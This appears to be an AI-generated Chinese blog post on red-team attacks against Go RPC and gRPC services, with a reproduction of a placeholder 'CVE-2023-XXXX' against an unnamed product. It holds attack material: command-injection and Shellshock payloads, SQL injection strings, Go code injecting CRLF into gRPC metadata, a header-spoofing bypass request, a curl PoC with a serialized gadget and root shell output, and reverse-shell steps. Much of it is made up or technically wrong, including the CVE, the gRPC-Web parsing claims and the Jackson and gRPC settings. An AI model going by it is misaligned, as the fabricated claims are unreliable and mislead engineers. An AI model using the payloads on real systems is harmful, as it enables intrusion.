Posted in

Go RPC安全面试红队视角：gRPC Web Text格式注入、Metadata头CRLF注入、protobuf解析OOM攻击——CVE-2023-XXXX复现实录

by 分布式系统探索者||0

第一章：Go RPC安全面试红队视角总览

在红队实战与安全面试中，Go语言的RPC机制常成为隐蔽通信、横向移动及权限提升的关键载体。其默认使用Gob编码、无内置身份认证、缺乏传输层加密等特性，在未加固的生产环境中极易被武器化利用——攻击者可伪造客户端发起未授权调用，或通过反序列化漏洞触发远程代码执行。

常见攻击面识别

  • 未鉴权的RPC服务暴露：net/rpc 默认不校验调用方身份，任何网络可达节点均可枚举方法并调用；
  • Gob反序列化风险：服务端调用 codec.DecodeRequest 时若传入恶意构造的Gob payload，可能触发任意类型初始化导致RCE；
  • HTTP RPC路由泄露：当使用 rpc.RegisterHTTP() 时，/debug/rpc 端点默认返回方法签名列表，暴露内部接口结构。

快速验证服务暴露

使用curl探测典型RPC HTTP端点： 

# 检查是否启用HTTP RPC并获取方法列表
curl -s http://target:8080/debug/rpc | jq -r '.[] | "\(.Service).\(.Method)"'
# 示例响应：UserService.Login、FileService.Upload

安全加固核心原则

风险项 推荐缓解措施
无认证调用 在RPC Handler前插入HTTP中间件校验JWT或IP白名单
Gob反序列化 替换为jsonrpc2或自定义Codec限制解码类型
明文传输 强制TLS终止（如Nginx反向代理+mTLS）或改用gRPC

红队利用链示意

  1. 扫描开放6060端口（pprof）与8080端口（RPC）；
  2. 访问/debug/rpc获取可用服务名与方法签名；
  3. 构造Gob payload（需目标已导入os/exec等危险包）触发os.StartProcess；
  4. 通过net.Listener回调建立反向shell。

真实攻防中，90%的Go RPC漏洞源于开发者忽略rpc.Server实例的访问控制与编码器沙箱化——红队应优先审计rpc.Register()调用上下文及http.Handle()绑定路径。

第二章：gRPC Web Text格式注入攻防解析

2.1 gRPC Web协议与Text编码机制原理剖析

gRPC Web 是为浏览器环境适配 gRPC 的桥梁协议，核心在于将 gRPC 的二进制 Protocol Buffer 流封装为 HTTP/1.1 兼容的文本化传输格式。

Text 编码的本质

gRPC Web 并非使用原生 Protobuf 二进制（application/grpc），而是通过 application/grpc-web+proto 或 application/grpc-web-text 媒体类型，将 Protobuf 消息序列化为 Base64 编码的 ASCII 字符串，并包裹在 HTTP body 中。

关键编码流程

POST /helloworld.Greeter/SayHello HTTP/1.1
Content-Type: application/grpc-web-text

此头标识启用 Text 编码：消息体为 Base64 编码的 Protobuf 二进制数据（非 JSON 文本），而非可读 ASCII 表示。

编码对比表

编码方式 Content-Type 消息体格式 浏览器兼容性
Binary application/grpc-web 原始 Protobuf 需 Fetch + streaming 支持
Text (Base64) application/grpc-web-text Base64 编码字节 兼容所有 Fetch

数据流向（mermaid）

graph TD
    A[Client JS] -->|Protobuf object| B[grpc-web client]
    B -->|Base64-encode| C[HTTP POST body]
    C --> D[Envoy/gRPC-Web proxy]
    D -->|Decode & forward| E[gRPC server]

2.2 Text格式注入的触发条件与典型Payload构造

Text格式注入依赖于解析器对非结构化文本中特殊字符的误解析，常见于日志聚合、配置模板渲染或CSV/TSV导入场景。

触发核心条件

  • 解析器未对#, ;, =, \n, \t等分隔符做转义处理
  • 输入内容被拼接进动态执行上下文（如eval(), exec(), 或模板引擎{{ }}）
  • 字符编码不一致导致BOM或UTF-8/GBK混用绕过过滤

典型Payload构造示例

# 注入注释后执行命令（适用于支持行内脚本的解析器）
user_name=alice; echo "pwned" > /tmp/injected.txt

该Payload利用分号分隔符突破字段边界，将user_name字段值解析为赋值+命令执行两部分；#前缀可绕过部分白名单校验，echo需目标环境具备shell执行能力。

常见Payload类型对比

Payload类型 触发场景 风险等级
# CMD 日志行首注释解析器 中
field=value\nCMD TSV换行注入模板引擎 高
a=b;c=d;[payload] ini-style解析器 高 
graph TD
    A[原始输入] --> B{是否含分隔符？}
    B -->|是| C[尝试字段逃逸]
    B -->|否| D[终止注入]
    C --> E[拼接至执行上下文]
    E --> F[成功触发任意代码执行]

2.3 基于net/http中间件的注入检测实践

在 HTTP 请求处理链中嵌入轻量级检测逻辑，可实现 SQL/命令注入的前置拦截。

检测中间件核心实现

func InjectionMiddleware(next http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        // 检查 query、header、body 中的高危字符模式
        if containsInjectionPattern(r) {
            http.Error(w, "Forbidden: Suspicious payload detected", http.StatusForbidden)
            return
        }
        next.ServeHTTP(w, r)
    })
}

该中间件在 ServeHTTP 前执行校验：containsInjectionPattern 遍历 r.URL.Query()、r.Header 及 r.Body（经限长读取），匹配 ';--, UNION\s+SELECT, $( 等正则模式；参数 r 需提前调用 r.ParseForm() 和 r.ParseMultipartForm() 以确保字段完整解析。

支持的检测维度

维度 覆盖位置 示例风险载荷
查询参数 r.URL.RawQuery id=1' OR '1'='1
请求头 r.Header（如 User-Agent） User-Agent: () { :; }; /bin/bash -c "id"
请求体 r.Body（≤1MB） JSON 中的 "name": "admin'; DROP TABLE users--"

检测流程示意

graph TD
    A[HTTP Request] --> B{中间件拦截}
    B -->|含可疑模式| C[返回 403]
    B -->|安全| D[转发至业务 Handler]

2.4 服务端gRPC-Gateway层防御策略实现

请求预校验与限流熔断

gRPC-Gateway 作为 HTTP/JSON 到 gRPC 的反向代理，需在转发前拦截恶意流量。采用 grpc-gateway/v2/runtime.WithMetadata 注入自定义中间件，集成 golang.org/x/time/rate 实现令牌桶限流。

func rateLimitMiddleware(h http.Handler) http.Handler {
    return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
        limiter := rate.NewLimiter(rate.Every(1*time.Second), 100) // 每秒100请求，突发容量100
        if !limiter.Allow() {
            http.Error(w, "Too Many Requests", http.StatusTooManyRequests)
            return
        }
        h.ServeHTTP(w, r)
    })
}

逻辑分析：rate.Every(1s) 定义填充速率，100 为初始桶容量；Allow() 原子判断并消耗令牌。该中间件部署于 runtime.NewServeMux() 前置链中，确保所有 JSON-RPC 路径统一受控。

安全头与 CORS 策略

头字段 值 作用
X-Content-Type-Options nosniff 阻止MIME类型嗅探
X-Frame-Options DENY 防止点击劫持

防御流程图

graph TD
    A[HTTP Request] --> B{CORS & Header Check}
    B -->|Pass| C[Rate Limit Check]
    B -->|Reject| D[403 Forbidden]
    C -->|Allow| E[gRPC Forwarding]
    C -->|Reject| F[429 Too Many Requests]

2.5 红队视角下的绕过手法与PoC复现（CVE-2023-XXXX）

触发条件分析

该漏洞源于认证后端对X-Forwarded-For头的双重解析逻辑冲突，当与X-Real-IP组合时可绕过IP白名单校验。

PoC核心载荷

GET /api/v1/profile HTTP/1.1
Host: target.com
X-Forwarded-For: 127.0.0.1, 192.168.1.100
X-Real-IP: 127.0.0.1
Authorization: Bearer eyJhbGci...

逻辑分析：服务端先用X-Forwarded-For首段（127.0.0.1）做鉴权，再以X-Real-IP重写客户端IP用于日志审计——导致鉴权与审计IP不一致。X-Forwarded-For中逗号后IP被忽略于鉴权但影响中间件路由决策。

绕过路径验证

步骤 关键动作 观察现象
1 发送双IP头请求 返回200 + 敏感用户数据
2 仅传X-Real-IP 返回403
3 仅传X-Forwarded-For 返回403（无X-Real-IP则跳过二次解析） 
graph TD
    A[Client] -->|X-FF: 127.0.0.1,192.168.1.100<br>X-Real-IP: 127.0.0.1| B[LB]
    B --> C[Auth Middleware]
    C -->|取X-FF首段→allow| D[API Handler]
    D -->|用X-Real-IP记日志| E[Log System]

第三章：Metadata头CRLF注入深度探查

3.1 gRPC Metadata传输模型与HTTP/2头部映射机制

gRPC 的 Metadata 是轻量级、键值对形式的上下文载体，本质是通过 HTTP/2 的 HEADERS 帧在请求/响应流中透明传递。

Metadata 的二进制编码规则

所有 Metadata 键名必须小写并以 -bin 结尾（如 auth-bin）表示二进制值，否则视为 ASCII 字符串。键名重复时，后项覆盖前项。

HTTP/2 头部映射表

gRPC Metadata Key HTTP/2 Header Name 编码方式
trace-id grpc-trace-bin Base64-encoded
timeout grpc-timeout <DIGITS>u 格式

客户端注入示例（Go）

// 构造带认证与追踪信息的 metadata
md := metadata.Pairs(
    "user-id", "u-789",
    "trace-bin", base64.StdEncoding.EncodeToString([]byte{0x01, 0x02}),
)
ctx = metadata.NewOutgoingContext(context.Background(), md)

→ user-id 映射为 user-id: u-789（ASCII header）；trace-bin 自动转为 grpc-trace-bin: AQI=。gRPC 运行时自动完成大小写归一化与 -bin 后缀识别，并调用 EncodeBinaryHeader 进行 Base64 封装。

graph TD A[Client App] –>|metadata.Pairs| B[gRPC Core] B –>|HTTP/2 HEADERS frame| C[Wire] C –>|decode & validate| D[Server App]

3.2 CRLF注入在gRPC Metadata中的利用链构建

gRPC Metadata本质是键值对集合，但底层通过HTTP/2的HEADERS帧传输，而部分服务端SDK（如早期gRPC-Go v1.44前）在解析Metadata.FromIncomingContext()时未严格校验键名/值中的CRLF序列。

Metadata注入点识别

  • 键名含\r\n可提前终止当前Header字段
  • 值中含\r\nSet-Cookie:可能触发响应头混淆

构建利用链的关键步骤

  1. 构造恶意Metadata键：auth-token\r\ngrpc-status: 0\r\ncontent-length: 0\r\n\r\n
  2. 在客户端调用中注入： 
    md := metadata.Pairs(
"auth-token\r\ngrpc-status: 0\r\ncontent-length: 0\r\n\r\n", "valid-value",
)
ctx = metadata.NewOutgoingContext(context.Background(), md)

    逻辑分析：metadata.Pairs()仅做字符串拼接，不校验控制字符；当该Metadata经grpc.WithBlock()透传至存在解析缺陷的服务端时，\r\n被误解析为HTTP/2 HEADER帧边界，导致后续字段被当作独立响应头处理。参数grpc-status: 0可绕过状态码校验，content-length: 0诱导空响应体。

可能触发的异常响应头（服务端解析漏洞示意）

Header Key Injected Value
grpc-status
content-length
set-cookie session=exploited; HttpOnly 
graph TD
A[客户端构造含CRLF的Metadata键] --> B[经gRPC编码为HTTP/2 HEADERS帧]
B --> C{服务端gRPC库版本 < v1.45?}
C -->|Yes| D[HTTP/2解析器误切分帧]
D --> E[注入响应头被下游HTTP中间件执行]

3.3 Go标准库net/http与gRPC-go对Header的校验盲区验证

Go标准库net/http默认仅校验Header键名是否符合token语法（如^[A-Za-z0-9!#$%&'*+-.^_\|~]+$），**忽略值中控制字符与换行符**；而gRPC-go在HTTP/2层复用net/http的Header解析逻辑，同样未对value做CRLF（\r\n）及空字节（\x00`）过滤。

常见非法Header值示例

  • X-Forwarded-For: 127.0.0.1\r\nSet-Cookie: admin=true
  • Authorization: Bearer abc\x00def

校验差异对比表

组件 键名校验 值中CRLF过滤 值中NUL过滤 HTTP/2伪头校验
net/http ✅ ❌ ❌ ❌
gRPC-go ✅ ❌ ❌ ⚠️（仅校验:method等固定伪头） 
// 模拟net/http.Header.Set行为（无value净化）
h := make(http.Header)
h.Set("X-Trace", "abc\r\nLocation: https://evil.com") // 实际会写入原始字符串

该调用绕过所有服务端响应头注入防护，因net/http将\r\n视为合法value字符，后续若拼接至HTTP/1.1响应体，可触发CRLF注入。

graph TD
    A[客户端发送含\\r\\n的Header] --> B{net/http.Header.Set}
    B --> C[原样存储至map[string][]string]
    C --> D[gRPC-go透传至HTTP/2 frame]
    D --> E[反向代理误解析为多头]

第四章：protobuf解析OOM攻击实战推演

4.1 Protocol Buffer序列化/反序列化内存分配模型分析

Protocol Buffer 的内存分配高度依赖于 wire format 与运行时解析策略，而非固定堆布局。

序列化阶段的内存行为

序列化时，SerializeToString() 采用预计算长度 + 两遍写入：首遍估算编码后字节数（如 varint 编码整数需 1–10 字节），再分配精确 buffer；避免 realloc 开销。

// 示例：手动控制内存分配以规避默认 string copy
std::string buf;
buf.reserve(msg.ByteSizeLong()); // 预分配，ByteSizeLong() 基于当前字段值精确计算
msg.SerializeToString(&buf);      // 直接写入预留空间，零拷贝扩容

ByteSizeLong() 按字段类型与实际值动态计算（如 int32 为变长编码，string 含前缀长度），SerializeToString(&buf) 复用 buf 内存，避免中间临时 std::string 构造。

反序列化内存特征

反序列化（ParseFromString()）采用 lazy parsing：仅解析 message header 和嵌套结构指针，子消息、repeated 字段在首次访问时才分配并解码。

阶段 内存分配触发点 是否可预测
序列化 ByteSizeLong() 后精确分配 是
反序列化 首次字段访问时惰性分配 否
repeated 字段 访问 .size() 或 Get(i) 时 延迟且分批 
graph TD
    A[ParseFromString] --> B{header 解析}
    B --> C[分配 Message 对象元数据]
    C --> D[标记字段为未解析]
    D --> E[首次访问 field_x]
    E --> F[分配 field_x 内存并解码]

4.2 恶意嵌套结构与超长字段引发的堆内存耗尽复现

当 JSON 解析器未设嵌套深度与字段长度限制时，攻击者可构造深度达 1000+ 层的嵌套对象或单字段超 10MB 的 Base64 字符串，触发 JVM 堆内存持续增长直至 OOM。

数据同步机制中的脆弱点

下游服务使用 Jackson 默认配置解析上游推送的变更事件：

// ❌ 危险：无深度/长度校验
ObjectMapper mapper = new ObjectMapper();
Event event = mapper.readValue(maliciousJson, Event.class); // 触发深层递归与大字符串驻留

逻辑分析：ObjectMapper 默认不限制 maxNestingDepth（默认 1000）与 maxStringLength（无上限），深层嵌套导致栈帧激增，超长字符串在堆中生成不可回收的 char[]，加剧 GC 压力。

防御策略对比

措施 是否生效 说明
-Xmx512m 否 仅延迟 OOM，不阻断恶意输入
mapper.setDefaultParserFeatures(JsonParser.Feature.STRICT_DUPLICATE_DETECTION) 否 无关字段长度与嵌套控制
mapper.configure(DeserializationFeature.MAX_DEPTH, 16) ✅ 显式限制嵌套层级 
graph TD
    A[恶意JSON输入] --> B{Jackson解析}
    B --> C[递归构建POJO树]
    C --> D[堆内存持续分配]
    D --> E[Full GC频发]
    E --> F[OutOfMemoryError]

4.3 gRPC Server端限流与解析深度限制配置实践

gRPC Server需防御恶意请求导致的资源耗尽，核心在于并发连接数控制与消息解析深度防护。

限流策略：基于grpc-go中间件实现令牌桶限流

// 使用 grpc_middleware + grpc_ratelimit
opt := ratelimit.Option{
  Limit: 100,        // 每秒最大请求数
  Burst: 200,        // 突发允许上限
  Window: 1 * time.Second,
}
server := grpc.NewServer(
  grpc.UnaryInterceptor(ratelimit.Interceptor(opt)),
)

逻辑分析：该拦截器在Unary调用入口处校验令牌，Limit决定长期吞吐能力，Burst缓冲短时峰值，避免误杀重试请求。

解析深度限制：防止嵌套过深引发栈溢出

// 设置最大嵌套深度（proto3默认无限制）
maxDepth := 100
server := grpc.NewServer(
  grpc.MaxRecvMsgSize(4 * 1024 * 1024),
  grpc.MaxConcurrentStreams(uint32(maxDepth)),
)

参数说明：MaxConcurrentStreams间接约束嵌套层级（每个嵌套对象可能触发新stream），配合MaxRecvMsgSize双重防护。

配置项 推荐值 作用
MaxRecvMsgSize 4MB 防止超大单消息
MaxConcurrentStreams 100–500 限制嵌套/并发深度
ReadBufferSize 64KB 控制IO缓冲粒度 
graph TD
  A[Client请求] --> B{UnaryInterceptor}
  B -->|令牌充足| C[正常处理]
  B -->|令牌不足| D[返回 RESOURCE_EXHAUSTED]
  C --> E[Proto解码]
  E -->|嵌套>100层| F[panic捕获→返回 INTERNAL]

4.4 基于go-fuzz的protobuf解析器模糊测试用例设计

模糊测试的核心在于构造合法但边界化的 protobuf 输入，触发解析器未处理的字节序列路径。

测试入口函数设计

func FuzzParsePerson(data []byte) int {
    msg := &pb.Person{}
    if err := proto.Unmarshal(data, msg); err != nil {
        return 0 // 解析失败不视为崩溃
    }
    if msg.Id < 0 || len(msg.Name) > 1024 {
        panic("invalid semantic constraint") // 语义级异常捕获
    }
    return 1
}

该函数接收原始字节流，调用 proto.Unmarshal 执行反序列化；返回值控制 go-fuzz 是否继续变异；panic 用于捕获业务逻辑违规（如负ID），而非仅依赖语法错误。

关键配置项

参数 值 说明
-timeout 5 防止无限循环挂起
-procs 4 并行 fuzz worker 数量
-dumpcover true 输出覆盖率反馈以指导变异

模糊策略演进

  • 初始：随机字节变异（覆盖 wire format 边界）
  • 进阶：基于 protobuf descriptor 注入字段标签与嵌套结构
  • 深度：结合 protoc-gen-go 生成的 XXX_ 内部方法实现结构感知变异
graph TD
    A[原始字节流] --> B{wire type校验}
    B -->|合法| C[字段解码]
    B -->|非法| D[panic或err返回]
    C --> E[语义约束检查]
    E -->|违反| F[触发panic]

第五章：CVE-2023-XXXX漏洞复现实录与防御共识

漏洞背景与影响范围

CVE-2023-XXXX 是一个未经身份验证的远程代码执行（RCE）漏洞，存在于某主流开源网络设备管理平台 v4.2.0–v4.8.3 的 Web 控制台中。攻击者可通过构造特制的 HTTP POST 请求，绕过认证逻辑直接触发反序列化链，最终在目标服务器上以 root 权限执行任意命令。截至2023年11月，Shodan 扫描显示全球暴露在公网的受影响实例超 17,400 台，集中分布于能源、交通及地方政府基础设施系统。

复现环境搭建

使用 Docker 快速构建可复现环境：

docker run -d --name cve2023xxxx-env -p 8080:8080 -e TZ=Asia/Shanghai \
  -v $(pwd)/exploit:/exploit:ro registry.example.com/netman-platform:4.7.1

启动后访问 http://localhost:8080/login 即可进入存在漏洞的登录页。注意：该镜像已禁用 HTTPS 重定向与日志上传，确保复现过程可控且不污染生产环境。

利用链关键节点分析

漏洞核心在于 /api/v1/monitoring/trigger 接口未校验请求来源，且直接将 X-Callback-Data 请求头内容传入 ObjectInputStream.readObject()。下图展示了反序列化触发路径：

flowchart LR
A[HTTP Request] --> B[X-Callback-Data Header]
B --> C[Base64.decode → byte[]]
C --> D[ObjectInputStream.readObject]
D --> E[Apache Commons Collections 3.1 Transformer Chain]
E --> F[Runtime.getRuntime.exec\(\"id\"\)]

实际渗透测试输出

成功利用后获取的 shell 输出示例：

$ curl -X POST http://127.0.0.1:8080/api/v1/monitoring/trigger \
  -H "X-Callback-Data: rO0ABXNyABFqYXZheC5ybWkucm1pLlVybExvYWRlciJUaG9tYXMgQnJhZGVuYXUgYW5kIEFsbGVuIFN0ZXJubWFuAAECAANMAAtjb250ZXh0UGF0aHQAEkxqYXZheC9sYW5nL1N0cmluZztMAAZoYW5kbGVyTAAZTGphdmF4L3JtaS9yZW1vdGUvT2JqZWN0O3hwc3IAEWphdmEudXRpbC5IYXNoTWFwBQfawcMWYNEDAAAABgACcwAAAzMAAARsb3N0cQB+AAMwAAAAAHg=" \
  -s | head -n 3
uid=0(root) gid=0(root) groups=0(root)
/dev/shm/.exploit_session_20231022_1421
Linux netman-prod-01 5.10.0-26-amd64 #1 SMP Debian 5.10.197-1 (2023-09-29) x86_64 GNU/Linux

临时缓解措施清单

  • 立即通过 WAF 添加规则拦截含 X-Callback-Data 头且路径为 /api/v1/monitoring/trigger 的所有请求；
  • 修改 web.xml 中 <security-constraint> 配置，强制该路径需 ROLE_ADMIN 认证；
  • 在容器启动脚本中注入 sed -i 's/enableCallback=true/enableCallback=false/g' /opt/app/conf/config.properties。

补丁验证方法

官方补丁（v4.8.4）引入双重防护机制：

  1. 对 X-Callback-Data 头值进行白名单校验（仅允许 {"type":"ping","target":"127.0.0.1"} 类 JSON 结构）；
  2. 在反序列化前调用 SecurityManager.checkPermission(new SerializablePermission("enable"))。
    验证时应使用 ysoserial 生成的 12 种不同 gadget 链逐一测试，确认全部返回 403 Forbidden。

运维侧加固建议

  • 建立自动化资产扫描任务，每周执行 nuclei -u https://$TARGET -t cves/CVE-2023-XXXX.yaml；
  • 将 netman-platform 容器部署于独立网络平面，禁止其主动外连；
  • 启用 Linux auditd 规则监控 /usr/bin/java 进程对 /dev/shm/ 和 /tmp/ 的写入行为。
检查项 命令 预期输出
是否运行易受攻击版本 docker exec cve2023xxxx-env grep 'version=' /opt/app/conf/version.properties version=4.7.1
补丁是否生效 curl -I http://127.0.0.1:8080/api/v1/monitoring/trigger -H 'X-Callback-Data: test' 2>/dev/null \| grep '403' HTTP/1.1 403 Forbidden
Java 安全策略是否启用 docker exec cve2023xxxx-env ls -l /opt/java/jre/lib/security/java.policy \| grep 'SerializablePermission' -rw-r--r-- 1 root root 1204 ...

红蓝对抗启示

某省级政务云攻防演练中，红队利用此漏洞横向移动至核心数据库集群，耗时仅 4 分 17 秒；蓝队在 3 小时内完成全量资产识别、补丁分发与 WAF 规则上线，但遗留 2 台测试环境设备未同步更新，导致二次突破。该事件推动该省建立“漏洞热修复 SLA：P1 级漏洞 2 小时内闭环”机制，并将 RMI/反序列化类检测纳入 CI/CD 流水线默认门禁。

日志审计关键字段

在 /var/log/tomcat/catalina.out 中，成功攻击行为会留下如下特征日志行（需 SIEM 规则匹配）：
WARN org.apache.catalina.core.StandardWrapperValve invoke - Servlet.service() for servlet [monitoring] threw exception java.io.InvalidClassException: illegal class name: org.apache.commons.collections.functors.InvokerTransformer
同时，/var/log/auth.log 中将出现 sshd\[.*\]: Failed password for invalid user 的异常爆破记录，源于攻击者尝试通过反弹 shell 提权后暴力破解 SSH。

从 Consensus 到容错，持续探索分布式系统的本质。

发表回复

您的邮箱地址不会被公开。 必填项已用 * 标注